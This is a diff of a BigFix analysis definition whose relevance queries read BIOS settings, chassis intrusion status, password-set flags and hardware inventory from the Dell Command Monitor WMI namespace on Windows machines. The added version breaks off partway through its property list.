-<P><A href="http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-28F353DA-781B-4426-A01F-DBD815555AAD">http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-28F353DA-781B-4426-A01F-DBD815555AAD</A></P>
-<P><A href="https://support.bigfix.com/inspectors/WMI%20Objects_Any.html">https://support.bigfix.com/inspectors/WMI%20Objects_Any.html</A></P>
-<P><A href="http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSAttribute.html">http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSAttribute.html</A></P>
-<P><A href="http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSEnumeration.html">http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSEnumeration.html</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmi &quot;root\dcim\sysman&quot;</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 06 Feb 2015 21:39:34 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="2" Name="AC Power Recovery Mode" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="3" Name="Chassis Intrusion" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="4" Name="Chassis Intrusion Status" EvaluationPeriod="PT12H">( if &quot;Disable&quot; = ( tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) then ERROR &quot;Disabled&quot; else ( tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion Status&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion Status&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) ) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="5" Name="Auto On" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Auto On&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Auto On&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="6" Name="Intel AMT?" EvaluationPeriod="P2D">string values of selects &quot;AMTSupported from DCIM_AMTSettings&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="7" Name="Intel ASF?" EvaluationPeriod="P2D">string values of selects &quot;ASFEnabled from DCIM_ASFSettings&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="8" Name="BiosSetupPassword set?" EvaluationPeriod="PT12H">string values of selects &quot;IsSet from DCIM_BIOSPassword where ElementName=&apos;BiosSetupPassword&apos;&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="9" Name="BiosBootPassword set?" EvaluationPeriod="PT12H">string values of selects &quot;IsSet from DCIM_BIOSPassword where ElementName=&apos;BiosBootPassword&apos;&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="10" Name="Password Status Lock?" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Password Status Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Password Status Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="11" Name="RunningOS" EvaluationPeriod="PT12H">(preceding text of first &quot;%22&quot; of following text of first &quot;,Name=%22&quot; of it as trimmed string) of string values of selects &quot;Antecedent from DCIM_RunningOS&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="12" Name="ChassisPackageType#" EvaluationPeriod="PT12H">unique values of ( ( (it as string as integer) of values &quot;type&quot; of structures &quot;system_enclosure_or_chassis&quot; of smbios ); integer values of (selects &quot;ChassisPackageType from DCIM_Chassis&quot; of wmis &quot;root/dcim/sysman&quot;; selects &quot;ChassisTypes from Dell_Chassis&quot; of wmis &quot;root\DELLOMCI&quot;))</Property>
-    <Property ID="13" Name="ChassisPackageTypeName" EvaluationPeriod="PT12H">( if exists it then it else ERROR &quot;UNKNOWN&quot; ) of (tuple string items ( unique values of ( ( (it as string as integer) of values &quot;type&quot; of structures &quot;system_enclosure_or_chassis&quot; of smbios ); integer values of (selects &quot;ChassisPackageType from DCIM_Chassis&quot; of wmis &quot;root/dcim/sysman&quot;; selects &quot;ChassisTypes from Dell_Chassis&quot; of wmis &quot;root\DELLOMCI&quot;)) ) of &quot;Unknown, Other, Unknown, Desktop, Low Profile Desktop, Pizza Box, Mini Tower, Tower, Portable, Laptop, Notebook, Hand Held, Docking Station, All in One, Sub Notebook, Space-Saving, Lunch Box, Main System Chassis, Expansion Chassis, SubChassis, Bus Expansion Chassis, Peripheral Chassis, Storage Chassis, Rack Mount Chassis, Sealed-Case PC, Multi-system chassis, CompactPCI, AdvancedTCA, Blade, Blade Enclosure, Tablet, Convertible, Detachable&quot;)</Property>
-    <Property ID="14" Name="Num Lock (state@boot?)" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Num Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Num Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="15" Name="USB" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;USB&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;USB&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="16" Name="Signed Firmware Update" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Signed Firmware Update&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Signed Firmware Update&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="17" Name="TPM PPI ACPI Support" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;TPM PPI ACPI Support&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;TPM PPI ACPI Support&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="18" Name="Trusted Execution" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Trusted Execution&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Trusted Execution&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="19" Name="OROM Keyboard Access" EvaluationPeriod="PT6H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;OROM Keyboard Access&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;OROM Keyboard Access&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="20" Name="Enable Legacy Option ROMs" EvaluationPeriod="PT6H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Enable Legacy Option ROMs&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Enable Legacy Option ROMs&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="21" Name="Wake-On-LAN" EvaluationPeriod="PT12H">(string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="22" Name="Processor Virtualization Technology" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Processor Virtualization Technology&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Processor Virtualization Technology&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="23" Name="AC Power Recovery Mode" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="24" Name="Embedded SATA Controller" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Embedded SATA Controller&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Embedded SATA Controller&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="25" Name="CurrentValueName of Attributes of DCIM_BIOSEnumeration" EvaluationPeriod="P2D">unique values of (item 0 of it &amp; &quot;: &quot; &amp; unique value of (if ( /* 0 means there are no options to choose from */ (0 = item 1 of it as integer) OR /* 0 means the selection is invalid */ (0 = following text of last &quot;, &quot; of item 2 of it as integer) OR /* if the selection is outside the number of possible values, then it is invalid */ (item 1 of it as integer &lt; following text of last &quot;, &quot; of item 2 of it as integer) ) then &quot;UNKNOWN&quot; else ( (tuple string items ( (it as integer - 1) of following text of last &quot;, &quot; of it ) of item 2 of it) of it ) ) of it) of (string value of property &quot;AttributeName&quot; of it , number of string values of properties &quot;PossibleValuesDescription&quot; of it, (concatenation &quot;, &quot; of (if exists it whose(it as trimmed string != &quot;&quot;) then it else &quot;UNKOWN&quot;) of string values of properties &quot;PossibleValuesDescription&quot; of it) &amp; &quot;, &quot; &amp; (if (exists string values whose(it != &quot;0&quot;) of properties &quot;CurrentValue&quot; of it) then (string value of properties &quot;CurrentValue&quot; of it) else &quot;0&quot;) ) of ( select objects &quot;AttributeName,CurrentValue,PossibleValuesDescription from DCIM_BIOSEnumeration&quot; of it ; select objects &quot;AttributeName,CurrentValue,PossibleValuesDescription from CIM_BIOSEnumeration&quot; of it ) of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="26" Name="exists &quot;root\DELLOMCI&quot;" EvaluationPeriod="PT6H">exists wmi &quot;root\DELLOMCI&quot;</Property>
-    <Property ID="27" Name="DCIM_EthernetPort" EvaluationPeriod="PT12H">selects &quot;ElementName,PermanentAddress,EnabledDefault,EnabledState,LinkTechnology,TOEEnabledState from DCIM_EthernetPort&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="28" Name="DCIM_Chassis" EvaluationPeriod="PT12H">selects &quot;BreachDescription,ChassisPackageType,FirstPowerOnDate,ManufactureDate,PackageType,SecurityBreach from DCIM_Chassis&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="29" Name="DCIM_Chip" EvaluationPeriod="PT12H">selects &quot;Manufacturer,ElementName,Model,ElementName from DCIM_Chip&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="30" Name="DCIM_DesktopMonitor" EvaluationPeriod="PT12H">selects &quot;Description,ColorDepthBits,ColorModePreset,DisplayMode,EDIDGamma,EDIDVersionNumber,HealthState,ManufactureDate,PhysicalSizeH,PhysicalSizeV,PrimaryStatus,ProductCode,SerialNumber,StandbyModeSupported,SuspendModeSupported,VeryLowPowerSupported from DCIM_DesktopMonitor&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="31" Name="DCIM_ControllerView" EvaluationPeriod="PT12H">selects &quot;BusType,ControllerFirmwareVersion,Device,DriverVersion,ElementName,PrimaryStatus,ProductName from DCIM_ControllerView&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="32" Name="DCIM_PhysicalMemory" EvaluationPeriod="PT12H">selects &quot;BankLabel,Capacity,DataWidth,ElementName,FormFactor,ManufactureDate,Manufacturer,MemoryType,Model,PartNumber,SerialNumber,SKU,Speed from DCIM_PhysicalMemory&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="33" Name="DCIM_Slot" EvaluationPeriod="PT12H">selects &quot;ConnectorDescription,ConnectorLayout,ConnectorType,ElementName,Number from DCIM_Slot&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="34" Name="DCIM_USBPort" EvaluationPeriod="PT12H">selects &quot;ElementName,EnabledDefault,EnabledState,HealthState from DCIM_USBPort&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="35" Name="DCIM_Memory" EvaluationPeriod="PT12H">selects &quot;BlockSize,ElementName,EnabledState,HealthState,NumberOfBlocks,PrimaryStatus from DCIM_Memory&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="36" Name="DCIM_PCIDevice" EvaluationPeriod="PT12H">selects &quot;BusNumber,Description,DeviceNumber,ElementName,EnabledState,FunctionNumber,HealthState,PrimaryStatus from DCIM_PCIDevice&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="37" Name="DCIM_DisplayController" EvaluationPeriod="PT12H">selects &quot;ElementName,Name from DCIM_DisplayController&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="38" Name="DCIM_Fan" EvaluationPeriod="PT12H">selects &quot;ActiveCooling,ElementName,EnabledState,HealthState,PrimaryStatus,VariableSpeed from DCIM_Fan&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="39" Name="DCIM_NumericSensor" EvaluationPeriod="PT12H">selects &quot;BaseUnits,CurrentState,ElementName,EnabledState,HealthState,PrimaryStatus,RateUnits,SensorType,ValueFormulation from DCIM_NumericSensor&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="40" Name="DCIM_Sensor" EvaluationPeriod="PT12H">selects &quot;CurrentState,ElementName,EnabledState,HealthState,PrimaryStatus,SensorType from DCIM_Sensor&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="41" Name="DCIM_Button" EvaluationPeriod="PT12H">selects &quot;ButtonPurpose,ButtonType,DeviceID from DCIM_Button&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="42" Name="DCIM_BootSourceSetting" EvaluationPeriod="PT12H">selects &quot;ElementName,FailThroughSupported,StructuredBootString from DCIM_BootSourceSetting&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="43" Name="DCIM_AssetAcquisition" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetAcquisition&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="44" Name="DCIM_AssetSystemInformation" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetSystemInformation&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="45" Name="DCIM_Location" EvaluationPeriod="PT12H">selects &quot;* from DCIM_Location&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="46" Name="DCIM_AssetSupportInformation" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetSupportInformation&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="47" Name="DCIM_AssetOwnerInformation" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetOwnerInformation&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="48" Name="Owner Tag" EvaluationPeriod="P1D">(it as trimmed string) of string values whose(it as trimmed string != &quot;&quot;) of selects &quot;PropertyOwnershipTag from DCIM_Chassis&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="49" Name="Asset Tag" EvaluationPeriod="P1D">(it as trimmed string) of string values whose(it as trimmed string != &quot;&quot;) of selects &quot;ElementName from DCIM_Chassis&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="50" Name="DCIM_Battery" EvaluationPeriod="PT12H">selects &quot;* from DCIM_Battery&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
-    <Property ID="51" Name="WoL - Possible Values Desc" EvaluationPeriod="PT12H">concatenations &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;)</Property>
-    <Property ID="52" Name="WoL - StringDesc">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of &quot;Disable, 2, 3, LAN, 5, 6, LAN with PXE Boot&quot; | ERROR &quot;UNKNOWN&quot;</Property>
-    <Property ID="53" Name="WoL - Possible Values #" EvaluationPeriod="PT12H">concatenations &quot;, &quot; of (string values of selects &quot;PossibleValues from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;)</Property>
-    <Property ID="54" Name="Deep Sleep Control" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Deep Sleep Control&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Deep Sleep Control&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Deep Sleep Control&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Values(BIOS & More) of wmi "root\dcim\sysman" - Windows (Dell Command Monitor / OMCI & others)
+  ID       : 2994763
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-02-06T14:40:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Values(BIOS &amp; More) of wmi &quot;root\dcim\sysman&quot; - Windows (Dell Command Monitor / OMCI &amp; others)</Title>
+    <Description><![CDATA[<P>Written against the <FONT size=2>Dell Command | Monitor Version 9.0 Reference Guide.</FONT></P>
+<P><FONT size=2>The information in wmi root\dcim\sysman is part of a standard, so this analysis should work for more than just Dell systems as long as the non-Dell systems have similar functionality and reporting mechanisms installed.</FONT></P>
+<P><FONT size=2>&nbsp;</P></FONT>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-28F353DA-781B-4426-A01F-DBD815555AAD">http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-28F353DA-781B-4426-A01F-DBD815555AAD</A></P>
+<P><A href="https://support.bigfix.com/inspectors/WMI%20Objects_Any.html">https://support.bigfix.com/inspectors/WMI%20Objects_Any.html</A></P>
+<P><A href="http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSAttribute.html">http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSAttribute.html</A></P>
+<P><A href="http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSEnumeration.html">http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSEnumeration.html</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi &quot;root\dcim\sysman&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 06 Feb 2015 21:39:34 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="AC Power Recovery Mode" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="3" Name="Chassis Intrusion" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="4" Name="Chassis Intrusion Status" EvaluationPeriod="PT12H">( if &quot;Disable&quot; = ( tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) then ERROR &quot;Disabled&quot; else ( tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion Status&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion Status&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) ) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="5" Name="Auto On" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Auto On&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Auto On&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="6" Name="Intel AMT?" EvaluationPeriod="P2D">string values of selects &quot;AMTSupported from DCIM_AMTSettings&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="7" Name="Intel ASF?" EvaluationPeriod="P2D">string values of selects &quot;ASFEnabled from DCIM_ASFSettings&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="8" Name="BiosSetupPassword set?" EvaluationPeriod="PT12H">string values of selects &quot;IsSet from DCIM_BIOSPassword where ElementName=&apos;BiosSetupPassword&apos;&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="9" Name="BiosBootPassword set?" EvaluationPeriod="PT12H">string values of selects &quot;IsSet from DCIM_BIOSPassword where ElementName=&apos;BiosBootPassword&apos;&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="10" Name="Password Status Lock?" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Password Status Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Password Status Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="11" Name="RunningOS" EvaluationPeriod="PT12H">(preceding text of first &quot;%22&quot; of following text of first &quot;,Name=%22&quot; of it as trimmed string) of string values of selects &quot;Antecedent from DCIM_RunningOS&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="12" Name="ChassisPackageType#" EvaluationPeriod="PT12H">unique values of ( ( (it as string as integer) of values &quot;type&quot; of structures &quot;system_enclosure_or_chassis&quot; of smbios ); integer values of (selects &quot;ChassisPackageType from DCIM_Chassis&quot; of wmis &quot;root/dcim/sysman&quot;; selects &quot;ChassisTypes from Dell_Chassis&quot; of wmis &quot;root\DELLOMCI&quot;))</Property>
+    <Property ID="13" Name="ChassisPackageTypeName" EvaluationPeriod="PT12H">( if exists it then it else ERROR &quot;UNKNOWN&quot; ) of (tuple string items ( unique values of ( ( (it as string as integer) of values &quot;type&quot; of structures &quot;system_enclosure_or_chassis&quot; of smbios ); integer values of (selects &quot;ChassisPackageType from DCIM_Chassis&quot; of wmis &quot;root/dcim/sysman&quot;; selects &quot;ChassisTypes from Dell_Chassis&quot; of wmis &quot;root\DELLOMCI&quot;)) ) of &quot;Unknown, Other, Unknown, Desktop, Low Profile Desktop, Pizza Box, Mini Tower, Tower, Portable, Laptop, Notebook, Hand Held, Docking Station, All in One, Sub Notebook, Space-Saving, Lunch Box, Main System Chassis, Expansion Chassis, SubChassis, Bus Expansion Chassis, Peripheral Chassis, Storage Chassis, Rack Mount Chassis, Sealed-Case PC, Multi-system chassis, CompactPCI, AdvancedTCA, Blade, Blade Enclosure, Tablet, Convertible, Detachable&quot;)</Property>
+    <Property ID="14" Name="Num Lock (state@boot?)" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Num Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Num Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
